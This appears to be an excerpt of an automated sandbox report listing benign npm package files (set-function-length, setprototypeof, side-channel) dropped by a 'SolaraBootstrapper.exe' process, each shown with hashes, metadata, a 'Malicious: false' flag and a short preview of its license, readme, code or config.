Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.2.2](https://github.com/ljharb/set-function-length/compare/v1.2.1...v1.2.2) - 2024-03-09..### Commits..- [types] use shared config [`027032f`](https://github.com/ljharb/set-function-length/commit/027032fe9cc439644a07248ea6a8d813fcc767cb).- [actions] remove redundant finisher; use reusable workflow [`1fd4fb1`](https://github.com/ljharb/set-function-length/commit/1fd4fb1c58bd5170f0dcff7e320077c0aa2ffdeb).- [types] use a handwritten d.ts file instead of emit [`01b9761`](https://github.com/ljharb/set-function-length/commit/01b9761742c95e1118e8c2d153ce2ae43d9731aa).- [Deps] update `define-data-property`, `get-intrinsic`, `has-property-descriptors` [`bee8eaf`](https://github.com/ljharb/set-function-length/commit/bee8eaf7749f325357ade85cf

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.078342100284353
Encrypted:	false
SSDEEP:	24:vlrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:9aJHlxE3dQHOs5exm3ogFh
MD5:	19283EE92F78C91154834571C1F05A94
SHA1:	ACBFF97B52A807A3661247328DC45DF636D7B8F7
SHA-256:	BF9B0D665BE2A689851EEA667CA9F42066EA1D903B38349C51E6A44B2577680A
SHA-512:	22369CC02AF1D2A345A70A415DE9E690F3F14AD6567F216924BF05DCF01DBBDE7C6B3A08CF87D5EDF1CA3B5A793D504E532F3A7C828964E97024334135B57369
Malicious:	false
Preview:	MIT License..Copyright (c) Jordan Harband and contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2167
Entropy (8bit):	5.068958485134736
Encrypted:	false
SSDEEP:	48:H1eI4I7qP55IK6mjF9KdhxUzOPxOi38DPTh3IL0ICCI8wv:VXFeP7IDSyPEigTh4LxCL8a
MD5:	66CA68BB26AC000BE6457E945A2507F0
SHA1:	516686C84378E1EA4FE4BDA7396D4DFA95F605BE
SHA-256:	54212493DCEC62FEC941C5A8231D65F57770DB3A3F68897CE838D7E8243F4D37
SHA-512:	55E6ADDE7060987B5B6A8C25883D4301EB84ED4EAFCA4B59F3A59E796AA830E0E7FA0F045EAAF12617D3972575112FD4086880B4CCFDBC4077D903B49E2703E9
Malicious:	false
Preview:	# set-function-length <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Set a function.s length...Arguments:. - `fn`: the function. - `length`: the new length. Must be an integer between 0 and 2**32.. - `loose`: Optional. If true, and the length fails to be set, do not throw. Default false...Returns `fn`...## Usage..```javascript.var setFunctionLength = require('set-function-length');.var assert = require('assert');..function zero() {}.function one(_) {}.function two(_, __) {}..assert.equal(zero.length, 0);.assert.equal(one.length, 1);.assert.equal(two.length, 2);..assert.equal(setFunctionLength(zero, 10), zero);.assert.equal(setFunctionLength(one, 11), one);.assert.equal(setFunctionLength(two, 12), two);..assert.equal(zero.length, 10);.assert.equal(one.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\env.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.651162342575511
Encrypted:	false
SSDEEP:	6:6cD6XbK/QQCnmRE1pP/7MlrRE1p5AQCnmRE1p5LMlrRE1pygQiZn:7D6XG+m+VM++m+M+YgQiZ
MD5:	F9BFAF0FBE929BE59E378140244FF21B
SHA1:	EB69950B8573CA5C3A14F6E9D7B9BF309980D9CD
SHA-256:	3AA1D02AAAAD7915A3F62B8A679BA9C81FFCE8539089127EABC60FC50D5C39DC
SHA-512:	D82554CCB97D0743E125D76B499047837E5BA2BE4C9F0C6C1E29E6FACD7BB1D5F4E4EBF8AE842EAD68C66C63B32B11ECE3A2AAE0E2A1A44A088DC522F52EF798
Malicious:	false
Preview:	declare const env: {..__proto__: null,..boundFnsHaveConfigurableLengths: boolean;..boundFnsHaveWritableLengths: boolean;..functionsHaveConfigurableLengths: boolean;..functionsHaveWritableLengths: boolean;.};..export = env;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\env.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	867
Entropy (8bit):	5.090086164326237
Encrypted:	false
SSDEEP:	24:5fYzKfFAPzeCRmm1miZBym+Ym0+G8mDmKdK:+CArec6
MD5:	63EBC6CC71423925CF62B6435F253B5B
SHA1:	57960E6B0FF7A4F9994C53953020133777A47F7C
SHA-256:	51E8F137DFF2D3987C98BCBD677BDEC7306734A936F6C731E4DA154A5C69C372
SHA-512:	177FA1BA5041931C328818DF6A886537332709FE727290B71946A74A8F57DBB8C2B83F54F292E46989A9E127C10EBC54279859BE66C28EA501B49FF93ADBEEEC
Malicious:	false
Preview:	'use strict';..var gOPD = require('gopd');.var bind = require('function-bind');..var unbound = gOPD && gOPD(function () {}, 'length');.// @ts-expect-error ts(2555) TS is overly strict with .call.var bound = gOPD && gOPD(bind.call(function () {}), 'length');..var functionsHaveConfigurableLengths = !!(unbound && unbound.configurable);..var functionsHaveWritableLengths = !!(unbound && unbound.writable);..var boundFnsHaveConfigurableLengths = !!(bound && bound.configurable);..var boundFnsHaveWritableLengths = !!(bound && bound.writable);../** @type {import('./env')} */.module.exports = {..__proto__: null,..boundFnsHaveConfigurableLengths: boundFnsHaveConfigurableLengths,..boundFnsHaveWritableLengths: boundFnsHaveWritableLengths,..functionsHaveConfigurableLengths: functionsHaveConfigurableLengths,..functionsHaveWritableLengths: functionsHaveWritableLengths.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	256
Entropy (8bit):	4.647296473858828
Encrypted:	false
SSDEEP:	6:vuw/OtB+CY9s4qP4eUYYBrFOBipQDq2LVQihu3n:vuw/Ob+Cm9qweUYYtA4QDyihu3
MD5:	BDF7EEFB056280C0DB7E37AFB831CBA2
SHA1:	1970485CC5D8EBBE28369EF8CE60842A1BAEE346
SHA-256:	F1DBFE4E162AB9E9DD14D9BC5CE5974C4EBC4FEDF5B682D634D8D5013637566C
SHA-512:	352059E647C9E035736C0494FE644D69BA4314D6D7BF50021EF130147C1DCAC948769FC31E9F96B299F9307695A97A9D7B508C98B12FBB43FDAE090DC558C91E
Malicious:	false
Preview:	declare namespace setFunctionLength {. type Func = (...args: unknown[]) => unknown;.}..declare function setFunctionLength<T extends setFunctionLength.Func = setFunctionLength.Func>(fn: T, length: number, loose?: boolean): T;..export = setFunctionLength;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	5.155889077713486
Encrypted:	false
SSDEEP:	24:9GtfFfP+9ctoxByfZUmFW/AnB0o+sFUeWFU/w:AE9cSxWZsWxFfWF1
MD5:	3F8DF1ED175B6F94BCA846B018F56F6D
SHA1:	C983B09E4396B163486378B5B1F7AEFC532CB471
SHA-256:	A523E45AE8C58B13795B66841FCAF104AC3E394AB123197BD46DD09088CABCD5
SHA-512:	4001BD1D845650F0F04401E434E96D8404744C16C45D4DF3C0BCE46D43DD011B0F07AB45D38AF17B1BD37BE24C537D466613270479739E1269127AD2C72E439C
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');.var define = require('define-data-property');.var hasDescriptors = require('has-property-descriptors')();.var gOPD = require('gopd');..var $TypeError = require('es-errors/type');.var $floor = GetIntrinsic('%Math.floor%');../** @type {import('.')} */.module.exports = function setFunctionLength(fn, length) {..if (typeof fn !== 'function') {...throw new $TypeError('`fn` is not a function');..}..if (typeof length !== 'number' \|\| length < 0 \|\| length > 0xFFFFFFFF \|\| $floor(length) !== length) {...throw new $TypeError('`length` must be a positive 32-bit integer');..}...var loose = arguments.length > 2 && !!arguments[2];...var functionLengthIsConfigurable = true;..var functionLengthIsWritable = true;..if ('length' in fn && gOPD) {...var desc = gOPD(fn, 'length');...if (desc && !desc.configurable) {....functionLengthIsConfigurable = false;...}...if (desc && !desc.writable) {....functionLengthIsWritable = false;...}..}...if (functionLe

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2704
Entropy (8bit):	5.101324766264455
Encrypted:	false
SSDEEP:	48:hvPZRYCzkc8gUPagS490fSyRYsEg4+kELXTNvKR4sz4PVl5yKQCbf4O3ZwjmfSoa:WCzCg8KI3+vLXTNvKR424gKf6H
MD5:	D5C44D4CC2D418C8A4248912B241EA03
SHA1:	BD0BCFC74BF8E9FE8D1EDB2B3A893D096A6067F7
SHA-256:	2C81BAB7F7A60D625164BD840D863548E3F9D4D1AA976B9D2966E5E1E36132A7
SHA-512:	56115E860931F409606432D47A9C13A50688C9B6C56DE8633B920F879F2E766A4DD2453DF3B3223FB4D7D73BFE8B4B2497DFFB395C070F73738F704DE4B8CCEB
Malicious:	false
Preview:	{.."name": "set-function-length",.."version": "1.2.2",.."description": "Set a function's length property",.."main": "index.js",.."exports": {...".": "./index.js",..."./env": "./env.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."directories": {..."test": "test"..},.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."tsc": "tsc -p .",..."posttsc": "attw -P",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "npm run tsc",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."ty

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.738285629546192
Encrypted:	false
SSDEEP:	3:SAL0x+HNNMgvZ63LW/mNHR+DRHtH79Upv5JoUifEIkHJ0GYv:zL0UDMgvEmIHERNH79o5JoUiMIOJnC
MD5:	52FAD431B4493384DEB61BCA02E2FF01
SHA1:	A16472424F8C26184DE557EFF8D6824939D1FC8E
SHA-256:	6346EE4C020F341387588479DD83740A65AB902A462B8C6B3B8BF51F032C6795
SHA-512:	35B51BDEA5BD3080B065D7AA72DE5DE16C5D839C6AF8671F8325D35B69F7DA5D9A5D53C53C38CCDBCF74847CC0BBF3D06E1ECA01415A1546FFD5581747B1434A
Malicious:	false
Preview:	{.."extends": "@ljharb/tsconfig",.."compilerOptions": {..."target": "es2021",..},.."exclude": [..."coverage",..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	727
Entropy (8bit):	4.995407984851891
Encrypted:	false
SSDEEP:	12:BKftbCS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+3Rz2AvzT3ka2C6K2PF3ew:2hBICCtEmq6s9iOncURnAqaF3ew
MD5:	4846F1626304C2C0F806A539BBC7D54A
SHA1:	8F107723A24DCE0CC8346B8909E124E3782DA6AE
SHA-256:	76D6D1EA0C268DA37DD3C961B4FCFB23DEE8417FFF9E8786D4D44C585B781B69
SHA-512:	563CEE3199EB3BE73EF14567B9ECC666510CF007B768B4E53EC2B5F84B8E09150072585012CBC186E282AF49DFE8E2B14D301FD0E3C6705A0157622D4380A16C
Malicious:	false
Preview:	Copyright (c) 2015, Wes Todd..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY.SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION.OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN.CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	844
Entropy (8bit):	4.954798255004359
Encrypted:	false
SSDEEP:	12:fei0bxTJK0UxTgQRRIJqxwBoOB7gic/7aFI3fk3OE9yCGVvDIpvVI44Z/C1:feiO9Kv8QXD+qOB8NuivcRGVkpN1
MD5:	618E2755F48DE164D10A4D5EF5EFCF6E
SHA1:	ED286B68F2A24C26AF48969AF1503BE62415F317
SHA-256:	5AC2886221898D2E967DF16753E4D64367957261D362FADD1817A9C80B1A6918
SHA-512:	4CE2C1C6A0FA50234533067AE8CA12072D353FA3ED6302D0C00452D318713BC57604114933CB77C1AFF77A4D41F33DAB1C72E453AEC1C5408D0335F176324499
Malicious:	false
Preview:	# Polyfill for `Object.setPrototypeOf`..[![NPM Version](https://img.shields.io/npm/v/setprototypeof.svg)](https://npmjs.org/package/setprototypeof).[![NPM Downloads](https://img.shields.io/npm/dm/setprototypeof.svg)](https://npmjs.org/package/setprototypeof).[![js-standard-style](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](https://github.com/standard/standard)..A simple cross platform implementation to set the prototype of an instianted object. Supports all modern browsers and at least back to IE8...## Usage:..```.$ npm install --save setprototypeof.```..```javascript.var setPrototypeOf = require('setprototypeof')..var obj = {}.setPrototypeOf(obj, {. foo: function () {. return 'bar'. }.}).obj.foo() // bar.```..TypeScript is also supported:..```typescript.import setPrototypeOf from 'setprototypeof'.```.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.403120517491775
Encrypted:	false
SSDEEP:	3:nPXxjvfl8s4HPgM/gihNjn:Vd4HPZgihNj
MD5:	9B4107177BCDB4F9438D31BF446F629F
SHA1:	25F582F0C09211CC1E095DED900797876768EC49
SHA-256:	594108E052A71FBABF137A1139736186AF6E437A255705E99F8C666F4D2AF4C4
SHA-512:	0D2F3209729887FA598DB6EDB720F227AE8DFB4FDBB89DF8051EDE69A038E47925EEA69D7F3136550019CC6E713FDB2D6BDCD1BE8293181247AE8EDE1D70FE70
Malicious:	false
Preview:	declare function setPrototypeOf(o: any, proto: object \| null): any;.export = setPrototypeOf;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	407
Entropy (8bit):	4.619014609580116
Encrypted:	false
SSDEEP:	12:lzFYBIPGbbPwwBErrJnBE8G2DQiAA8jl4Hy:/YB6GbbIwBErrZBE8GCA/jlGy
MD5:	0426A4C38B91533C932059BCB80F163D
SHA1:	3F772213640AEBA8A4E9ACBF5D8B31C91FCBC4B1
SHA-256:	3E3495CA7AE72A7F0CA459F47DD3D97AE3A48FA4B1A669A31672BE778CC97A5F
SHA-512:	3E94A6CFF02FBBB296701F979F79B65AEFD64C51A7619BD47DCA21B7A4361E209AA3D1D5D7D14BE86EF61043A1DCDA5071959F04FE9194A6ADFDFAFDCAD36432
Malicious:	false
Preview:	'use strict'./* eslint no-proto: 0 */.module.exports = Object.setPrototypeOf \|\| ({ __proto__: [] } instanceof Array ? setProtoOf : mixinProperties)..function setProtoOf (obj, proto) {. obj.__proto__ = proto. return obj.}..function mixinProperties (obj, proto) {. for (var prop in proto) {. if (!Object.prototype.hasOwnProperty.call(obj, prop)) {. obj[prop] = proto[prop]. }. }. return obj.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	4.933621332439767
Encrypted:	false
SSDEEP:	24:mV1oZeHyUHR2U1f808J7+qlamKkMb4FrrAixz5TvPqPwxiMlR0QWIC:m/oZepHR20f808Jy/41fxz5z0wxvlR01
MD5:	3C0480D60C15FE4FE27AE36205D1F949
SHA1:	CBF2D7AE54256A7AB84245EB6D72C56F6A015453
SHA-256:	5B39DDF23D2C12A751CB4AF2CE12DD5C87314350BE7526FFF69B4A3FF2A2D538
SHA-512:	6D9B95BC662A09B5364F6FB943E208984CD50C23CCD5361BD86261FCEEAD997B203BB39721F0D82DB2D35D4FCC64BE70E48B71244DAA516DEC7EC09B61DADABC
Malicious:	false
Preview:	{. "name": "setprototypeof",. "version": "1.2.0",. "description": "A small polyfill for Object.setprototypeof",. "main": "index.js",. "typings": "index.d.ts",. "scripts": {. "test": "standard && mocha",. "testallversions": "npm run node010 && npm run node4 && npm run node6 && npm run node9 && npm run node11",. "testversion": "docker run -it --rm -v $(PWD):/usr/src/app -w /usr/src/app node:${NODE_VER} npm install mocha@${MOCHA_VER:-latest} && npm t",. "node010": "NODE_VER=0.10 MOCHA_VER=3 npm run testversion",. "node4": "NODE_VER=4 npm run testversion",. "node6": "NODE_VER=6 npm run testversion",. "node9": "NODE_VER=9 npm run testversion",. "node11": "NODE_VER=11 npm run testversion",. "prepublishOnly": "npm t",. "postpublish": "git push origin && git push origin --tags". },. "repository": {. "type": "git",. "url": "https://github.com/wesleytodd/setprototypeof.git". },. "keywords": [. "polyfill",. "object",. "setprototypeof". ],.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	690
Entropy (8bit):	4.699872068343237
Encrypted:	false
SSDEEP:	12:l9Dqzp/ME9bfPBO+A2ATm8fI0aEIpBJjKeV5GbVm9TeVuFwz42+E:mMMbfPBO+A2AVfI0TIpBlKeLGb49Teoa
MD5:	057B874F30E15981324966FF9294DBE5
SHA1:	B91BB6EE713D8473B3B097B58549F651C6469410
SHA-256:	44BED5FCCCB6C8F6CD92FF4BC034005B9D46BA560C572979944772555D4F2585
SHA-512:	4950AD4C6C81AFE10A1C5696A5FDB056F826195A2DBBA958EB612DC3A727E50156901F95E46781936F5B8B84BBFB8A9264EC2210FBDC978C09EFA10B3B8C193D
Malicious:	false
Preview:	'use strict'./* eslint-env mocha /./ eslint no-proto: 0 */.var assert = require('assert').var setPrototypeOf = require('..')..describe('setProtoOf(obj, proto)', function () {. it('should merge objects', function () {. var obj = { a: 1, b: 2 }. var proto = { b: 3, c: 4 }. var mergeObj = setPrototypeOf(obj, proto).. if (Object.getPrototypeOf) {. assert.strictEqual(Object.getPrototypeOf(obj), proto). } else if ({ __proto__: [] } instanceof Array) {. assert.strictEqual(obj.__proto__, proto). } else {. assert.strictEqual(obj.a, 1). assert.strictEqual(obj.b, 2). assert.strictEqual(obj.c, 4). }. assert.strictEqual(mergeObj, obj). }).}).

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.editorconfig

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.367933691486156
Encrypted:	false
SSDEEP:	3:BjM1vnFoqqA1Dvlk/rJbiDFalWjQWefxMvC2o/Pn:FM1vngODdedOZaVMvw/Pn
MD5:	70AABD0764B023E42627FB94694D78BA
SHA1:	232F2FCDDC7D54C6C7007DAEDC9B5F3088FDB3E0
SHA-256:	F3E9230A5E411831564B0A83313248A7455929098F389C5BC07E8241A754D3FD
SHA-512:	0C621AF2ED51BA7C02CFF5104993B53283FEF6B1F6EB0CCD573D95D664CDB25A1D0444BB8CD27609CDD6DE3796152CF13B738B00F0C2988FA7F3AE8089D7E29B
Malicious:	false
Preview:	root = true..[*].charset = utf-8.end_of_line = lf.insert_final_newline = true.indent_style = tab.indent_size = 2.trim_trailing_whitespace = true.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.825356710364157
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHI01QiLunHHIcR7GTIGChNX8/EoTVsKwR/6Csl6LoE0YOv:ExL0UxNSHIOLAnkzC38bCsluThA
MD5:	15B7A9978CB5F6109FB49831718B4191
SHA1:	66E00342C36357388D503DAF063C6645ED649CCA
SHA-256:	7A1A04FF516AA6B2905885FE15F4F57858EA1703C92456DAED9763FA7B4EA7C6
SHA-512:	58B1692D236EFE685BE86C0BB6DDB7C06B9BF9B8E5937A9375232425C5F07472E7818FC213B8BC0608EA11BF18E44558C1484716FDD0401A1323A57138CDAC92
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."max-lines-per-function": 0,..."multiline-comment-style": 1,..."new-cap": [2, { "capIsNewExceptions": ["GetIntrinsic"] }],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	583
Entropy (8bit):	4.693970033387882
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMXclgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mghlg7g1GegJ9gEz4D
MD5:	6B2A3ADC01B11269EC937729274541DF
SHA1:	5FDD43E047D54B9989EA5623AB41F29090BF131E
SHA-256:	1BAE2DD6CBA2F64D3780A4D3136EED2ED80B17888B0F2F169B90B65532EF1A4E
SHA-512:	EC8127A909F23415085FE283D15BA24C945AF6C9E24368BEBA98F61336EB6206E8DEB1B3C9C1720C6D01488B01DAC378623615532FBCCCD4E4A5B12966D4825D
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/side-channel.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8802
Entropy (8bit):	5.265738800947733
Encrypted:	false
SSDEEP:	96:E5yEKjwBYQ4AuDJEb5joj4jbi6/tgNb66NS9La/4cflSBd/s4:EgmBgAGEbFojq7lMxua/4UUBdk4
MD5:	BECEABFACC27597BA7AB25D06084BF55
SHA1:	2415DF8EFBA411E5AD9A0200925384908B6E8C25
SHA-256:	CA1B58A2915AC00E493F74E4B1448BDCB57F6AF7AA6875B5E0532818DEDBDEB3
SHA-512:	6319D7645294DDBB8DA998F297E89CAF556B025B083673D0EEC79C218FEFB0EE955E999BD2210B4AD6A8AC6169C3A1AC4B1D91E6EACDB0F59406C49B6BF805AB
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.6](https://github.com/ljharb/side-channel/compare/v1.0.5...v1.0.6) - 2024-02-29..### Commits..- add types [`9beef66`](https://github.com/ljharb/side-channel/commit/9beef6643e6d717ea57bedabf86448123a7dd9e9).- [meta] simplify `exports` [`4334cf9`](https://github.com/ljharb/side-channel/commit/4334cf9df654151504c383b62a2f9ebdc8d9d5ac).- [Deps] update `call-bind` [`d6043c4`](https://github.com/ljharb/side-channel/commit/d6043c4d8f4d7be9037dd0f0419c7a2e0e39ec6a).- [Dev Deps] update `tape` [`6aca376`](https://github.com/ljharb/side-channel/commit/6aca3761868dc8cd5ff7fd9799bf6b95e09a6eb0)..## [v1.0.5](https://github.com/ljharb/side-channel/compare/v1.0.4...v1.0.5) - 2024-02-06..### Commits..- [actions] reuse common workflows [`3d2e1ff`]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.103097172056218
Encrypted:	false
SSDEEP:	24:5PsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:BsaJHlxE3dQHOs5exm3ogFh
MD5:	375DC7CA936A14E9C29418D5263BD066
SHA1:	75CDD9C8D795941F851F43B18FC7DAE46E8A59FC
SHA-256:	CFC3F455254C0AF0655CC3FF46A41ED644B67599F6043346169D285BF2B3CF3B
SHA-512:	7767E362BE74A7C40A8EA0B4AA11F99D6BF7B2002C2871E2730F75915CCB3C2679E1CA4F211C3CCC993E9E7E3963AABFC89FD3FF17712BBEF304BB80BC582656
Malicious:	false
Preview:	MIT License..Copyright (c) 2019 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
